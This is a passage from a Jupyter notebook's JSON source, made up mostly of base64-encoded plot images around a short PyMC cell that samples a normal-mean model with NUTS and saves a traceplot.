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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x122aad550>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "x_sample = np.random.normal(loc=1.0, scale=1.0, size=1000)\n", "\n", "with pm.Model() as model:\n", "\tmu = pm.Normal('mu', mu=0., sd=0.1)\n", "\tx = pm.Normal('x', mu=mu, sd=1., observed=x_sample)\n", "\n", "with model:\n", "\tstart = pm.find_MAP()\n", "\tstep = pm.NUTS()\n", "\ttrace = pm.sample(10000, step, start)\n", "\n", "pm.traceplot(trace)\n", "plt.savefig(\"result1.jpg\")" ] }, { "cell_type": "code", "execution_count": 282, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " [-----------------100%-----------------] 10000 of 10000 complete in 9.8 sec" ] }, { "data": { "image/png": "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